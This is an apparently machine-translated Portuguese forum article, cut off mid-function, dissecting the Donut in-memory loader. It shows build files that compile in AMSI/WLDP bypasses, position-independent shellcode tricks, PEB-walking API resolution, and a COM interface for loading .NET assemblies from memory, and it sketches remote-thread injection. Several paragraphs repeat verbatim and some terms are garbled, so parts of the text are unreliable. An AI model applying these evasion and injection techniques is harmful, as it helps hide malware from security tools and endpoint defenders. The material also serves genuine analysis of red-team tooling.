Conteúdo:
1. Introdução
2. Estrutura do projeto
3. Shellcode em Tse ortodoxo puro
4. Introdução ao COM no chão de uma colisão
5. Executando .NET Assembly a partir da memória
6. Executando JScript / VBScript a partir da memória
7. Contornando o maldito AMSI
8. Conclusão
1. Introdução
Olá amigos! De alguma forma, pensei que esta série seria mais alegre (muito, muito mais alegre), mas desde os dias de Storm Kitten, realmente não encontrei nenhum projeto diretamente interessante que tivesse algo sobre o que escrever. Aparentemente, todo o malware superior e tecnologicamente avançado está agora em repositórios privados no github, você sabe. Bem, ou simplesmente não estou ciente de algo diretamente de ponta. Portanto, hoje quero considerar um projeto branco e fofo. Bem, como branco - Red Timer ... e se é branco ou não, é mais provável que seja decidido nas mãos de quem o usa. A única coisa importante é que há coisas interessantes nele sobre as quais gostaria de falar. Então... Apresento a sua atenção o Redtimer Donut mais comum: https://github.com/TheWover/donut
Um donut é um código independente de posição (você pode pensar nisso como um shellcode para não complicar o artigo com termos longos) que carrega diretamente da memória virtual (sem a necessidade de soltar no disco) scripts VBScript / JScript, executáveis, dlls e assemblies dotnet (Assembly). Ao mesmo tempo, há uma implementação de contornar AMSI e WLDP, compactação e criptografia de dados, saída de shellcode em vários formatos diferentes e muitas outras coisas interessantes em princípio. Neste artigo, abordaremos os pontos que, na minha opinião, são de interesse, com base no tipo de discussão que vejo em nossa aconchegante comunidade. Sim, e eu prefiro "carne" técnica, e não todos os tipos de amarrações bonitas (como scripts bash). Bem, vamos começar. Farei uma reserva imediatamente que muito bukaf espera por você pela frente, então prepare-se, sirva-se de uma xícara de chá, eu realmente espero
2. Estrutura do projeto
Falando sobre a estrutura deste projeto em geral, temos o shellcode real (também conhecido como loader.exe da pasta loader) e utilitários aplicados a este loader, como donut.exe (gerador de qualquer) e exe2h (gerador do cabeçalho Cash do arquivo binário). Bem, esses projetos têm fragmentos de código comuns implementados em arquivos com os nomes reveladores hash.c e encrypt.c. Como já indiquei um pouco acima, a carne técnica está principalmente no shellcode, mas peço que você resolva o resto como uma espécie de lição de casa.
3. Shellcode em Ce ortodoxo puro
Talvez eu comece com algo que é muito óbvio para a maioria de vocês aqui, mas de qualquer forma, vamos discutir como shellcode difere do código executável usual que os compiladores geram. PE (também conhecido como Portable Executable) é um formato de arquivos executáveis (arquivos EXE, DLL, SYS, etc.) que é usado em pequenos sistemas operacionais de software. Para que um arquivo desse formato seja executado corretamente, ele deve ser carregado corretamente na memória virtual e configurado de alguma forma. Essa ação é executada pelo carregador implementado pelo código do próprio sistema operacional. Portanto, no modo de usuário, o código do carregador está localizado fisicamente em ntdll.dll, quando você, por exemplo, chama a função LoadLibrary do kernel32.dll, ele chamará a função LdrLoadDll do ntdll.dll durante sua operação. Ou, por exemplo, Quando você cria um novo objeto COM usando CoCreateInstance, dependendo do objeto COM específico ou dos parâmetros de função, essa ação pode fazer com que o arquivo DLL do objeto COM seja carregado usando o mesmo LdrLoadDll. Mas falaremos sobre esses seus COMs um pouco mais tarde.
O Shellcode, ao contrário dos arquivos executáveis, não precisa de um carregador, ele fica em algum lugar da memória virtual e cuida de como e com o que vai funcionar. Portanto, o arquivo executável possui uma tabela de importação, ela especifica todas as funções de várias bibliotecas DLL que esse arquivo executável usará no decorrer de seu trabalho. O carregador configurará essa tabela, ou seja, carregará todas as bibliotecas necessárias e corrigirá os endereços das funções no formato PE do arquivo executável. O shellcode, por outro lado, encontra os endereços de todas as funções de que precisa na dinâmica, enquanto carrega as bibliotecas necessárias que ainda não foram carregadas antes. Além disso, o executável possui um endereço base e, em alguns casos, uma tabela de realocação. Se a tabela estiver faltando, então o executável só pode ser carregado no endereço base especificado na memória virtual. Bem, se existir, esta tabela mostra todos os locais onde o endereçamento codificado foi usado no código executável (quando o código contém endereços diretos e não compensa lá ou algo mais inteligente). Esses endereços codificados são gerados pelo compilador. O carregador percorre a tabela de realocação e corrige o executável para que todo o endereçamento codificado seja válido se o executável não tiver sido carregado no endereço base. Isso se aplica principalmente a arquivos executáveis de 32 bits, mas falaremos sobre isso um pouco mais tarde. Shellcode, por sua vez, geralmente é um código independente de posição, ou seja, pode funcionar corretamente em qualquer lugar da memória virtual,
O trabalho do carregador de arquivos executáveis \u200b\u200bdo sistema operacional é baseado em um artigo separado, e já houve artigos semelhantes, alguns deles até premiados em concursos. Portanto, não vamos considerar isso com mais detalhes hoje, mas vamos nos concentrar na mecânica do shellcode do nosso Donut. Historicamente (quando os dinossauros eram grandes) shellcodes foram escritos em assembler, e muitos "velhos crentes" até agora acreditam que deveria ser assim. Porém, em princípio, nada nos impede de fazer um shellcode usando o Sishechka ortodoxo (C, ela é Tse) ou Pluses ímpios (C ++ significa, hein?), E (com vários graus de queima do ânus) qualquer outra linguagem de programação nativa que você pode desativar a biblioteca padrão (Rust, Nim, D, FreePascal e assim por diante). Escreva shellcodes em linguagens de nível superior ao Assembler, em primeiro lugar, é mais fácil e, em segundo lugar, é mais "plataforma cruzada" ou algo assim. Ou seja, você não precisará escrever dois idênticos em essência, mas diferentes em código de conteúdo para arquiteturas x86 e x64. O autor do Donut fez exatamente isso, agora vamos ver como.
Dois makefiles foram cuidadosamente colocados na raiz do projeto: um para construir o projeto usando cl.exe (o compilador do soft Visual Studio) e outro usando MinGW (o primeiro Makefile.msvc e o segundo Makefile.mingw) , vamos olhar para eles.
CC32 := i686-w64-mingw32-gcc
CC64 := x86_64-w64-mingw32-gcc
donut: clean
$(info ###### RELEASE ######)
gcc -I include loader/exe2h/exe2h.c -oexe2h
$(CC64) -I include loader/exe2h/exe2h.c loader/exe2h/mmap-windows.c -lshlwapi -oexe2h.exe
$(CC32) -DBYPASS_AMSI_A -DBYPASS_WLDP_A -fno-toplevel-reorder -fpack-struct=8 -fPIC -O0 -nostdlib loader/loader.c loader/depack.c loader/clib.c hash.c encrypt.c -I include -oloader.exe
./exe2h loader.exe
$(CC64) -DBYPASS_AMSI_A -DBYPASS_WLDP_A -fno-toplevel-reorder -fpack-struct=8 -fPIC -O0 -nostdlib loader/loader.c loader/depack.c loader/clib.c hash.c encrypt.c -I include -oloader.exe
./exe2h loader.exe
$(CC64) -Wall -fpack-struct=8 -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader/clib.c lib/aplib64.lib -odonut.exe
debug: clean
$(info ###### DEBUG ######)
$(CC32) -DCLIB -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Wno-format -fpack-struct=8 -DDEBUG -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c -oloader32.exe -lole32 -lshlwapi
$(CC64) -DCLIB -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Wno-format -fpack-struct=8 -DDEBUG -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c -oloader64.exe -lole32 -lshlwapi
$(CC64) -Wall -Wno-format -fpack-struct=8 -DDEBUG -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader/clib.c lib/aplib64.lib -odonut.exe
clean:
rm -f exe2h exe2h.exe loader.bin instance donut.o hash.o encrypt.o format.o clib.o hash encrypt donut hash.exe encrypt.exe donut.exe lib/libdonut.a lib/libdonut.so loader.exe loader32.exe loader64.exe
donut: clean
@echo ###### Building exe2h ######
cl /nologo loader\exe2h\exe2h.c loader\exe2h\mmap-windows.c
@echo ###### Building loader ######
cl -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj clib.obj
exe2h loader.exe
@echo ###### Building generator ######
rc include/donut.rc
cl -Zp8 -nologo -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib include/donut.res
cl -Zp8 -nologo -DDLL -LD -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib
move donut.lib lib\donut.lib
move donut.exp lib\donut.exp
move donut.dll lib\donut.dll
debug: clean
cl /nologo -DDEBUG -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -EHa -GS- -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c
link -nologo -order:@loader\order.txt -subsystem:console loader.obj hash.obj encrypt.obj depack.obj clib.obj
cl -Zp8 -nologo -DDEBUG -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib
cl -Zp8 -nologo -DDEBUG -DDLL -LD -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib
move donut.lib lib\donut.lib
move donut.exp lib\donut.exp
move donut.dll lib\donut.dll
hash:
cl -Zp8 -nologo -DTEST -I include hash.c loader\clib.c
encrypt:
cl -Zp8 -nologo -DTEST -I include encrypt.c
clean:
@del /Q mmap-windows.obj donut.obj hash.obj encrypt.obj depack.obj format.obj clib.obj hash.exe encrypt.exe donut.exe lib\libdonut.lib lib\libdonut.dll
Tanto aqui quanto ali, o parâmetro para alinhar estruturas a um limite de 8 bytes é definido, na minha opinião seria melhor fazer estruturas compactadas quando necessário. Ao compilar o MinGW, a otimização é desativada e, para o MSVC, a otimização está em um nível bastante baixo. Aparentemente, para o código do autor, os conjuntos completos de algoritmos de otimização quebraram algo no shellcode (lembramos que há uma diferença significativa entre o shellcode e os arquivos executáveis tradicionais), mas no caso geral seria melhor descobrir o problema em vez de desabilitar as otimizações. Por exemplo, a construção do switch em Tse e Pluses, dependendo de sua estrutura, com otimização habilitada, pode ser substituída pelo compilador com uma tabela de salto. Isso é mais rápido, mas do ponto de vista do shellcode, isso é inaceitável, pois os endereços codificados irão acabar na tabela de salto. Nesse caso, desabilitar a otimização ajudará,
Além disso, você deve prestar atenção para desabilitar a verificação de estouro de buffer ao compilar com o compilador do estúdio (que requer algumas funções da biblioteca padrão, pelo que me lembro). Ao vincular um projeto, as bibliotecas padrão são desativadas (já que já estão vinculadas à importação de algumas funções de bibliotecas dinâmicas, e isso é novamente inaceitável no shellcode). Para construir com MinGW, o autor especifica um sinalizador -fPIC engraçado, que no Linux gera código independente de posição (sim, no Linux às vezes é útil para arquivos executáveis bastante comuns), não sei agora, mas quando foi a última vez que olhei o aplicativo (bandeira), na Venda ele não fez absolutamente nada. Então não sei por que ele está aqui. Preste atenção também na redefinição do ponto de entrada e seu formato. O fato é que o clássico "int main(int argc, char** argv)" é o ponto de entrada que a biblioteca padrão C chama. Ou seja, antes da execução do nosso código, alguma ligação é realizada a partir do código da biblioteca padrão, que, em particular, recebe argumentos de linha de comando e algumas outras coisas aplicado à biblioteca Cs padrão. Na ausência de uma biblioteca padrão, o ponto de entrada do arquivo executável não terá argumentos, e para o shellcode, a princípio, você pode fazer qualquer um, o principal é saber como chamá-lo posteriormente.
Agora vamos ver como o autor de Pochik resolve o problema de endereçar dados e funções estáticos (lembramos que por padrão para um arquivo executável, o compilador irá codificar endereços e criar ou não criar uma seção reloc, e no shellcode precisamos cuidar disso nós mesmos, mas , embora nem sempre). Para resolver esse problema, a macro ADR e a função get_pc foram implementadas, vamos considerá-las com mais detalhes.
#if defined(_M_IX86) || defined(__i386__)
// return pointer to code in memory
char *get_pc(void);
// PC-relative addressing for x86 code. Similar to RVA2VA except using functions in payload
#define ADR(type, addr) (type)(get_pc() - ((ULONG_PTR)&get_pc - (ULONG_PTR)addr))
#else
#define ADR(type, addr) (type)(addr) // do nothing on 64-bit
#endif
// Function to return the program counter.
// Always place this at the end of payload.
// Tested with x86 build of MSVC 2019 and MinGW. YMMV.
#if defined(_MSC_VER)
#if defined(_M_IX86)
__declspec(naked) char *get_pc(void) {
__asm {
call pc_addr
pc_addr:
pop eax
sub eax, 5
ret
}
}
#endif
#elif defined(__GNUC__)
#if defined(__i386__)
asm (
".global get_pc\n"
".global _get_pc\n"
"_get_pc:\n"
"get_pc:\n"
" call pc_addr\n"
"pc_addr:\n"
" pop %eax\n"
" sub $5, %eax\n"
" ret\n"
);
#endif
#endif
Como você pode ver, a macro x86 ADR chama a função get_pc e calcula o deslocamento do ponteiro de origem, relativo ao endereço retornado por get_pc, do qual (o deslocamento) obtém o endereço real dos dados ou função na memória virtual. A função get_pc é um código assembler clássico para obter um ponteiro para um rótulo. A instrução de chamada invoca o rótulo que segue imediatamente a instrução. Quando chamada, a instrução de chamada coloca o endereço de retorno na pilha, ou seja, o endereço da instrução seguinte à chamada. Assim, a execução salta para o rótulo e o endereço de retorno está na pilha, que é o mesmo endereço do rótulo (porque o rótulo segue imediatamente a instrução de chamada). O código então retira esse endereço da pilha e o retorna por meio do registrador EAX. Com a ajuda de uma técnica tão simples e conhecida dos tempos da barba, obtemos o endereço real do rótulo na memória virtual, e não algum tipo de endereço codificado. Você pode perguntar por que não há implementação semelhante para o código x64. O fato é que x64 introduziu o chamado "endereçamento relativo RIP", ou seja, endereçamento relativo ao valor do registrador RIP, que aponta para a próxima instrução executável. Ao mesmo tempo, o compilador Tse gera voluntariamente esse código. Mas o código x86 de tal recurso foi injustamente privado, portanto, para criar um código independente de posição, você deve se livrar dele assim. ou seja, o endereçamento é relativo ao valor do registrador RIP, que aponta para a próxima instrução executável. Ao mesmo tempo, o compilador Tse gera voluntariamente esse código. Mas o código x86 de tal recurso foi injustamente privado, portanto, para criar um código independente de posição, você deve se livrar dele assim. ou seja, o endereçamento é relativo ao valor do registrador RIP, que aponta para a próxima instrução executável. Ao mesmo tempo, o compilador Tse gera voluntariamente esse código. Mas o código x86 de tal recurso foi injustamente privado, portanto, para criar um código independente de posição, você deve se livrar dele assim.
Bem, nós meio que descobrimos, vamos dar uma olhada em como o autor resolve o problema com as funções de exportação necessárias para o shellcode. Aqui novamente tudo está de acordo com os clássicos, considere o seguinte código:
// locate address of API in export table using Maru hash function
LPVOID FindExport(PDONUT_INSTANCE inst, LPVOID base, ULONG64 api_hash, ULONG64 iv){
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nt;
DWORD i, j, cnt, rva;
PIMAGE_DATA_DIRECTORY dir;
PIMAGE_EXPORT_DIRECTORY exp;
PDWORD adr;
PDWORD sym;
PWORD ord;
PCHAR api, dll, p;
LPVOID addr=NULL;
ULONG64 dll_hash;
CHAR buf[MAX_PATH], dll_name[64], api_name[128];
dos = (PIMAGE_DOS_HEADER)base;
nt = RVA2VA(PIMAGE_NT_HEADERS, base, dos->e_lfanew);
dir = (PIMAGE_DATA_DIRECTORY)nt->OptionalHeader.DataDirectory;
rva = dir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
// if no export table, return NULL
if (rva==0) return NULL;
exp = RVA2VA(PIMAGE_EXPORT_DIRECTORY, base, rva);
cnt = exp->NumberOfNames;
// if no api names, return NULL
if (cnt==0) return NULL;
adr = RVA2VA(PDWORD,base, exp->AddressOfFunctions);
sym = RVA2VA(PDWORD,base, exp->AddressOfNames);
ord = RVA2VA(PWORD, base, exp->AddressOfNameOrdinals);
dll = RVA2VA(PCHAR, base, exp->Name);
// get hash of DLL string converted to lowercase
for(i=0;dll[i]!=0;i++) {
buf[i] = dll[i] | 0x20;
}
buf[i] = 0;
dll_hash = maru(buf, iv);
do {
// calculate hash of api string
api = RVA2VA(PCHAR, base, sym[cnt-1]);
// xor with DLL hash and compare with hash to find
if ((maru(api, iv) ^ dll_hash) == api_hash) {
// return address of function
addr = RVA2VA(LPVOID, base, adr[ord[cnt-1]]);
// is this a forward reference?
if ((PBYTE)addr >= (PBYTE)exp &&
(PBYTE)addr < (PBYTE)exp +
dir[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)
{
DPRINT("%016llx is forwarded to %s",
api_hash, (char*)addr);
// copy DLL name to buffer
p=(char*)addr;
for(i=0; p[i] != 0 && i < sizeof(dll_name)-4; i++) {
dll_name[i] = p[i];
if(p[i] == '.') break;
}
dll_name[i+1] = 'd';
dll_name[i+2] = 'l';
dll_name[i+3] = 'l';
dll_name[i+4] = 0;
p += i + 1;
// copy API name to buffer
for(i=0; p[i] != 0 && i < sizeof(api_name)-1;i++) {
api_name[i] = p[i];
}
api_name[i] = 0;
DPRINT("Trying to load %s", dll_name);
HMODULE hModule = inst->api.LoadLibrary(dll_name);
if(hModule != NULL) {
DPRINT("Calling GetProcAddress(%s)", api_name);
addr = inst->api.GetProcAddress(hModule, api_name);
} else addr = NULL;
}
return addr;
}
} while (--cnt && addr == NULL);
return addr;
}
// search all modules in the PEB for API
LPVOID xGetProcAddress(PDONUT_INSTANCE inst, ULONG64 ulHash, ULONG64 ulIV) {
PPEB peb;
PPEB_LDR_DATA ldr;
PLDR_DATA_TABLE_ENTRY dte;
LPVOID addr = NULL;
peb = (PPEB)NtCurrentTeb()->ProcessEnvironmentBlock;
ldr = (PPEB_LDR_DATA)peb->Ldr;
// for each DLL loaded
for (dte=(PLDR_DATA_TABLE_ENTRY)ldr->InLoadOrderModuleList.Flink;
dte->DllBase != NULL && addr == NULL;
dte=(PLDR_DATA_TABLE_ENTRY)dte->InLoadOrderLinks.Flink)
{
// search the export table for api
addr = FindExport(inst, dte->DllBase, ulHash, ulIV);
}
return addr;
}
É incrível quantas coisas úteis podem ser encontradas em estruturas de sistemas operacionais não documentadas ou mal documentadas. Cada thread do sistema operacional possui uma estrutura TEB (Thread Environment Block) associada, você pode obtê-la no registrador de segmento fs (para código de 32 bits) ou gs (para registrador de 64 bits), ou pode usar NtCurrentTeb, que vai fazer exatamente isso. A estrutura TEB contém um ponteiro para uma estrutura PEB (Process Environment Block), que por sua vez já está associada ao processo atual. Na estrutura do PEB, além de várias outras coisas divertidas e interessantes, existe uma espécie de banco de dados para o carregador do sistema operacional. Esta é uma lista encadeada de bibliotecas que o carregador já carregou antes. Para qualquer processo nesta lista, haverá pelo menos ntdll.dll (principalmente porque que contém o carregador) e o arquivo executável do próprio processo, e para a grande maioria dos processos ainda haverá kernel32.dll. Ou seja, o shellcode pode passar por essa lista, encontrar a biblioteca necessária e seu endereço base pelo hash (aliás, HMODULE e o endereço base da DLL são iguais, caso você não saiba) e então analisar a tabela de exportação da biblioteca e encontre o deslocamento da função necessária lá, da qual obtenha o endereço absoluto, bem, chame a função. Como o kernel32.dll está quase sempre em processo, podemos primeiro encontrar os endereços LoadLibrary e GetProcAddress e, em seguida, usá-los para encaminhamento, por exemplo. Encaminhamento é quando a tabela de exportação especifica um link para uma função implementada em outra biblioteca, sei que parece loucura, mas é bastante utilizado no sistema operacional.
Isso é basicamente tudo o que eu queria contar sobre a organização do shellcode no Sishechka Ortodoxo do autor do Donut, se algo não estiver claro ou você quiser discutir, escreva nos comentários, discutiremos, caso contrário, vamos em frente para outras coisas interessantes. Pode-se tocar brevemente no algoritmo de injeção de código, mas ele tem viajado para cima e para baixo desde o início dos anos 2000 e o livro de Jeffrey Richter. Seu significado geral é que abrimos o identificador de outro processo, alocamos memória lá, escrevemos o shellcode, criamos um thread remoto para o ponto de entrada do shellcode e obtemos lucro. A implementação disso está no arquivo inject.c se você estiver interessado. Também no projeto existe um código responsável por carregar arquivos executáveis nativos, mas como eu disse, isso já foi escrito muitas vezes antes de mim. Se você estiver interessado, consulte o arquivo inmem_pe.c, tudo deve estar claro aí, se você ler, provavelmente, algum artigo sobre este assunto. Se você quiser discutir qualquer um dos itens acima, sinta-se à vontade para fazer perguntas nos comentários do meu artigo.
4. Introdução ao COM nas saliências do piso
Agora vamos falar sobre a incrível tecnologia COM (Component Object Model). Em um belo momento histórico, programadores de pequena escala e arquitetos de software decidiram que seria bom escrever um determinado padrão para implementar software em Venda, para que bibliotecas e componentes escritos em linguagens e plataformas completamente diferentes pudessem chamar as funções uns dos outros . Em geral, eles inventaram uma espécie de ABI (Application Binary Interface), baseada em polimorfismo (avôs acordaram? ) odiado por alguns amantes do santo ortodoxo Tse). Desde a invenção desse milagre, bem, muitos tipos de bibliotecas e componentes do sistema o seguiram inquestionavelmente, e isso, em princípio, Multar. O código C / C ++ formatado como uma classe COM pode ser chamado por código C #, VBScript ou JScript e vice-versa (sim, você pode criar uma classe COM relativamente completa em VBScript, google sobre arquivos sct e scrobj.dll) . Mas, ao mesmo tempo, a própria tecnologia COM é bastante complexa, então vamos ver alguns pontos básicos necessários para entender o que nosso Donut faz com você.
Todas as classes COM devem satisfazer a interface IUnknown (não-não, não o desconhecido com o qual os "avers and cops" americanos sonham (c), mas apenas uma interface regular chamada "IUnknown"). Essa interface permite que você faça exatamente duas coisas importantes com um objeto de classe COM. Primeiro, incremente e diminua o contador de referências ao objeto (os métodos AddRef e Release, respectivamente). Sim, em vez de seus coletores de lixo favoritos desses Sharps e Petons, a tecnologia COM usa contadores de referência, já que nos padrões de Sishechka e Plus eles nunca cheiraram realmente. Ao criar uma nova referência de objeto em seu código, você deve incrementar a contagem de referência do objeto. Quando uma referência em seu código precisa ser liberada, você diminui a contagem de referências. Quando a contagem de referência cai para zero, o objeto é liberado. Em segundo lugar, a interface possui um método QueryInterface especial, que é projetado para solicitar referências a outras interfaces de nosso objeto COM. Você passa o identificador exclusivo (GUID/CLSID/IID) da interface necessária para esse método e o método retornará um HRESULT: S_OK em caso de sucesso e um código de erro em caso de falha. E, claro, um ponteiro para a interface solicitada, se a chamada for bem-sucedida.
Bem, sim, também é importante notar que os pequenos e macios são grandes amantes de dar identificadores exclusivos a tudo e a todos. Cada classe COM tem esse identificador, cada interface COM e até mesmo cada biblioteca TypeLib. Na verdade, um identificador único é apenas um número de 128 bits, a probabilidade de geração pseudo-aleatória de dois desses números idênticos é relativamente próxima de zero, portanto esses identificadores são considerados únicos para cada objeto ao qual você deseja associar esse identificador.
A tecnologia COM possui os chamados VARIANTs (contêineres que podem armazenar vários tipos de dados) e outra interface muito importante - IDispatch. Em particular, permite que linguagens de script chamem métodos em objetos COM nativos simplesmente por seus nomes. Isso é implementado por meio dos métodos GetIDsOfNames (retorna números de método por seus nomes) e Invoke (obtém o número do método, converte argumentos de chamada de VARIANTs em tipos de dados nativos e chama o método nativo). Você também pode obter, por exemplo, informações sobre o tipo de um objeto COM por meio dessa interface, mas não precisamos entrar nessa selva hoje.
Agora, vamos lembrar que todo esse OOP terrível, classes ali, objetos e todos os tipos de interfaces, está tudo nas vantagens ímpias, e não no Sishechka ortodoxo. Como podemos interagir de Sishechka com esse desejo monstruoso? Para responder a essa pergunta, precisamos entender como a herança e o polimorfismo funcionam em um nível baixo (por trás do véu das construções da linguagem Plus). No Pros, existem métodos virtuais (palavra-chave virtual), eles são usados para que uma classe possa herdar uma funcionalidade da segunda classe e substituir outra. Fisicamente, tal construção é compilada nas chamadas tabelas de métodos virtuais (também conhecidas como vtable). Uma classe é a mesma estrutura Cish que envolve os dados da classe. No entanto, se a classe tiver métodos virtuais, o primeiro elemento dessa estrutura será um ponteiro para a vtable. Bem, por sua vez, vtable é uma tabela de ponteiros para os métodos virtuais da classe (geralmente na ordem em que foram declarados na classe). Assim, se a classe herdeira tiver substituído algum método virtual de seu pai, seus dados de inicialização conterão um ponteiro para sua própria vtable, que difere do pai por exatamente um ponteiro para o método. Chamar um método virtual Plus irá compilar para desreferenciar o ponteiro para a vtable e chamar o método no ponteiro correspondente da vtable. Podemos repetir exatamente o mesmo comportamento no código Tse ortodoxo puro. Mais uma vez, para criar um objeto de classe COM, precisamos criar uma estrutura para o próprio objeto e para sua vtable, preencher a vtable com ponteiros para métodos que implementam várias interfaces específicas, e coloque o ponteiro para o vtable como o primeiro elemento na estrutura do próprio objeto. Você também precisa se lembrar que este ponteiro também é uma construção de Pluses e Tse não sabe nada sobre isso. Portanto, precisaremos passar este ponteiro como primeiro parâmetro ao chamar métodos de classes COM. Bem, na verdade, tudo isso foi feito pelo autor do projeto Donut. Se você quiser ler mais sobre como implementar a interação com classes COM em Sishechka, posso recomendar uma série de artigos COM in plain C no codeproject.com, são cerca de 8 artigos, leitura bastante interessante que aborda esse tópico um pouco mais profundo, mas o básico descrito acima deve ser suficiente para entendermos todo o resto. Portanto, precisaremos passar este ponteiro como primeiro parâmetro ao chamar métodos de classes COM. Bem, na verdade, tudo isso foi feito pelo autor do projeto Donut. Se você quiser ler mais sobre como implementar a interação com classes COM em Sishechka, posso recomendar uma série de artigos COM in plain C no codeproject.com, são cerca de 8 artigos, leitura bastante interessante que aborda esse tópico um pouco mais profundo, mas o básico descrito acima deve ser suficiente para entendermos todo o resto. Portanto, precisaremos passar este ponteiro como primeiro parâmetro ao chamar métodos de classes COM. Bem, na verdade, tudo isso foi feito pelo autor do projeto Donut. Se você quiser ler mais sobre como implementar a interação com classes COM em Sishechka, posso recomendar uma série de artigos COM in plain C no codeproject.com, são cerca de 8 artigos, leitura bastante interessante que aborda esse tópico um pouco mais profundo, mas o básico descrito acima deve ser suficiente para entendermos todo o resto.
5. Executando .NET Assembly a partir da memória
Quando os amadores estavam desenvolvendo os primeiros frameworks .NET, acho que nem se falava em tornar o framework independente e incompatível com a tecnologia COM. As classes Sharp marcadas com o atributo ComVisible recebem automaticamente todas as ligações necessárias para interagir com elas por meio de COM (implementações das interfaces IUnknown, IDispatch, ITypeInfo e assim por diante) e as interfaces COM podem ser definidas em código tão facilmente quanto em Pluses. Vamos dar uma olhada no fragmento de código C, que no projeto Pochik é responsável por carregar e executar arquivos executáveis .NET Assembly diretamente da memória por meio da tecnologia COM.
#undef DUMMY_METHOD
#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IAppDomain *This)
typedef struct _AppDomainVtbl {
BEGIN_INTERFACE
HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
IAppDomain * This,
/* [in] */ REFIID riid,
/* [iid_is][out] */ void **ppvObject);
ULONG ( STDMETHODCALLTYPE *AddRef )(
IAppDomain * This);
ULONG ( STDMETHODCALLTYPE *Release )(
IAppDomain * This);
DUMMY_METHOD(GetTypeInfoCount);
DUMMY_METHOD(GetTypeInfo);
DUMMY_METHOD(GetIDsOfNames);
DUMMY_METHOD(Invoke);
DUMMY_METHOD(ToString);
DUMMY_METHOD(Equals);
DUMMY_METHOD(GetHashCode);
DUMMY_METHOD(GetType);
DUMMY_METHOD(InitializeLifetimeService);
DUMMY_METHOD(GetLifetimeService);
DUMMY_METHOD(Evidence);
DUMMY_METHOD(add_DomainUnload);
DUMMY_METHOD(remove_DomainUnload);
DUMMY_METHOD(add_AssemblyLoad);
DUMMY_METHOD(remove_AssemblyLoad);
DUMMY_METHOD(add_ProcessExit);
DUMMY_METHOD(remove_ProcessExit);
DUMMY_METHOD(add_TypeResolve);
DUMMY_METHOD(remove_TypeResolve);
DUMMY_METHOD(add_ResourceResolve);
DUMMY_METHOD(remove_ResourceResolve);
DUMMY_METHOD(add_AssemblyResolve);
DUMMY_METHOD(remove_AssemblyResolve);
DUMMY_METHOD(add_UnhandledException);
DUMMY_METHOD(remove_UnhandledException);
DUMMY_METHOD(DefineDynamicAssembly);
DUMMY_METHOD(DefineDynamicAssembly_2);
DUMMY_METHOD(DefineDynamicAssembly_3);
DUMMY_METHOD(DefineDynamicAssembly_4);
DUMMY_METHOD(DefineDynamicAssembly_5);
DUMMY_METHOD(DefineDynamicAssembly_6);
DUMMY_METHOD(DefineDynamicAssembly_7);
DUMMY_METHOD(DefineDynamicAssembly_8);
DUMMY_METHOD(DefineDynamicAssembly_9);
DUMMY_METHOD(CreateInstance);
DUMMY_METHOD(CreateInstanceFrom);
DUMMY_METHOD(CreateInstance_2);
DUMMY_METHOD(CreateInstanceFrom_2);
DUMMY_METHOD(CreateInstance_3);
DUMMY_METHOD(CreateInstanceFrom_3);
DUMMY_METHOD(Load);
DUMMY_METHOD(Load_2);
HRESULT (STDMETHODCALLTYPE *Load_3)(
IAppDomain *This,
SAFEARRAY *rawAssembly,
IAssembly **pRetVal);
DUMMY_METHOD(Load_4);
DUMMY_METHOD(Load_5);
DUMMY_METHOD(Load_6);
DUMMY_METHOD(Load_7);
DUMMY_METHOD(ExecuteAssembly);
DUMMY_METHOD(ExecuteAssembly_2);
DUMMY_METHOD(ExecuteAssembly_3);
DUMMY_METHOD(FriendlyName);
DUMMY_METHOD(BaseDirectory);
DUMMY_METHOD(RelativeSearchPath);
DUMMY_METHOD(ShadowCopyFiles);
DUMMY_METHOD(GetAssemblies);
DUMMY_METHOD(AppendPrivatePath);
DUMMY_METHOD(ClearPrivatePath);
DUMMY_METHOD(SetShadowCopyPath);
DUMMY_METHOD(ClearShadowCopyPath);
DUMMY_METHOD(SetCachePath);
DUMMY_METHOD(SetData);
DUMMY_METHOD(GetData);
DUMMY_METHOD(SetAppDomainPolicy);
DUMMY_METHOD(SetThreadPrincipal);
DUMMY_METHOD(SetPrincipalPolicy);
DUMMY_METHOD(DoCallBack);
DUMMY_METHOD(DynamicDirectory);
END_INTERFACE
} AppDomainVtbl;
typedef struct _AppDomain {
AppDomainVtbl *lpVtbl;
} AppDomain;
O arquivo de cabeçalho clr.h descreve todos os métodos das classes dotnet COM necessários para o projeto iniciar a carga útil. Para economizar espaço, copiei apenas uma definição no artigo. A macro DUMMY_METHOD define um stub para um método, já que não nos importamos se o método está definido corretamente se não o chamarmos. Os mesmos métodos que chamaremos, é extremamente importante declarar sem erros. Observe que, como eu disse anteriormente, uma classe COM é definida usando uma estrutura vtable e a estrutura do próprio objeto, que tem um ponteiro para a classe vtable como primeiro elemento. Bem, observe que o vtable no início tem uma implementação das interfaces IUnknown e IDispatch. Agora vamos ver como ocorre o carregamento direto e o lançamento do payload dotnet.
BOOL LoadAssembly(PDONUT_INSTANCE inst, PDONUT_MODULE mod, PDONUT_ASSEMBLY pa) {
HRESULT hr = S_OK;
BSTR domain;
SAFEARRAYBOUND sab;
SAFEARRAY *sa;
DWORD i;
BOOL loaded=FALSE, loadable;
PBYTE p;
WCHAR buf[DONUT_MAX_NAME];
